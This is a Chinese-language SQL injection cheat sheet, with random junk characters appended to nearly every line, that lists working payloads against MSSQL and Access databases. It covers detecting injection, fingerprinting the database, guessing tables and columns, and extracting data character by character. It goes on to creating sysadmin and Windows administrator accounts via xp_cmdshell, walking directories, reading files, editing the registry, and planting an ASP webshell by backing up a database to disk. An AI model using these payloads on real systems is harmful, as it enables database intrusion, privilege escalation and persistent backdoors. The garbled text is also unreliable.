1.判断是否有注入;and 1=1 ;and 1=2 o5)<$P43
2.初步判断是否是mssql ;and user>0 I(
Mm?9F
$<OD31T
3.注入参数是字符'and [查询条件] and ''=' tQ601H>o
!H\F2Vxs
4.搜索时没过滤参数的'and [查询条件] and '%25'=' Pc]HP
^=*;X;7
5.判断数据库系统 ez[Vm:2K
4mbBmQV$#
;and (select count(*) from sysobjects)>0 mssql u$`a7Lp,n
lk =<A"^S
;and (select count(*) from msysobjects)>0 access !PE]C!*gv&
EiaW1Cs
wdoR%b{M
qxJ\ye+'*
6.猜数据库 ;and (select Count(*) from [数据库名])>0 .X;K%J2
J9 I:Q<;
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 *=xr-!MEk
_','9|
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 4 H&#q>
DW3G
9.(1)猜字段的ascii值(access) og>uj>H&
4I(Xy]wm
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 CNx8]
_2
BL4-7
(2)猜字段的ascii值(mssql) -7|H}!DFT
|V7*l1
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 4b`=>X;W
O.JN ENZf
10.测试权限结构(mssql) UL9n-M=
,]/X\t5]D
bs1Rvx1:J%
;9'OOz|+1
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- oD@7
SF
'O-"\J\
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- /<BI46B\
*n"{J(Jt`
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- A_UjC`
o<!?7g{
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- m)D|l1AtF
|+"(L#wk
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- ]{>,rK[So
{Hk}Kow
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- <\S:'g"(
W!(LF7_!
;and 1=(select IS_MEMBER('db_owner'));-- "^iYLQOC
%N_%JK\{@
{f p[BF
^dxTm1Z
11.添加mssql和系统的帐户 E<*xx#p
S`]k>'
l
;exec master.dbo.sp_addlogin username;-- "J3x_~,[4m
;exec master.dbo.sp_password null,username,password;-- ,v}k{( 16{
[1H^3g
'
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- ijU*|8n{>
\lNN Msd&
;exec master.dbo.xp_cmdshell 'net user username password L{Vqh0QD&
-35;j'a
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- SZCze"`[
II=79$n`G
;exec master.dbo.xp_cmdshell 'net user username password /add';-- |sZHUf_
f|oh.z_R
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- f`66h M[
)BfAw
{+ b7sA3
g#E-pdY
12.(1)遍历目录 l}M!8:UzU
3HK\BS
;create table dirs(paths varchar(100), id int) T&7qC=E#5
*DhiN
;insert dirs exec master.dbo.xp_dirtree 'c:\' @`Su0W+.
{BU;$
;and (select top 1 paths from dirs)>0 +x}<IS8
Jj%K=sw
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) g<
.qUBPKX
13/]DF,S"^
Ny)X+2Ae
C+&l<
fM&
(2)遍历目录 DLNbo2C
jb!i$/%w
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- IV)j1
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 18:%~>.!
n'6jou
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 +X]vl=0
7"D.L-H
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 )@bQu~Y
#:%/(j
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 l%i+cO D
x'R`.
!g3
Od)C&N=y
_v]MsT-q
13.mssql中的存储过程 \xoP)Ub>
u\nh[1)a)
xp_regenumvalues 注册表根键, 子键 ^pk7"l4Xm
RViuJ;
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 }*"p?L^p{
Kx JqbLUC
xp_regread 根键,子键,键值名 %H"47ZFxAs
uY'HT|@:{
;exec xp_regread 7. ;3e@s
` sU/& P
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 H}
g{Cr"Ex
@Do= k
xp_regwrite 根键,子键, 值名, 值类型, 值 DM>eVS3}
3sZ\0P}
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 ,s;UfF
5l*&>C[(i
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 =_u4=4
3=ymm^
xp_regdeletevalue 根键,子键,值名 VY\&8n}e(
SasJic2M
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 <Q?F?.^e
Xla~Yg
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 65^9
_:27]K:
x-3\Ls[I
!%0 *z
14.mssql的backup创建webshell o{[YA}xc
IPo?:1x]s
use model ;4~hB
W5MTD]J
create table cmd(str image); Q]>.b%s[
q5:N2Jmo?z
insert into cmd(str) values (''); ~&bq0(
12LL48bi
backup database model to disk='c:\l.asp'; Z#\P&\`1z
u;c?d!E
\)|hogI|f
{/:x5l8
15.mssql内置函数 Z?QC!bWb
+K4}Dmg
;and (select @@version)>0 获得Windows的版本号 #;nYg?d=
[cp+i^f
;and user_name()='dbo' 判断当前系统的连接用户是不是sa ')3
bl3:
c0u^zH<
;and (select user_name())>0 爆当前系统的连接用户 DR<9#RRD
G'A R`"F
;and (select db_name())>0 得到当前连接的数据库 0"bcdG<}
ea')$gR
C3YT1tK
w`zTR0`
16.简洁的webshell E^eVvP4uC@
ixD)VcD-f
use model CzEd8jeh7
sLAQE64\"
create table cmd(str image); oILZgNe'
+; AZ+w]ZF
insert into cmd(str) values (''); Y0-n\|
@I!0-OjL
backup database model to disk='g:\wwwtest\l.asp';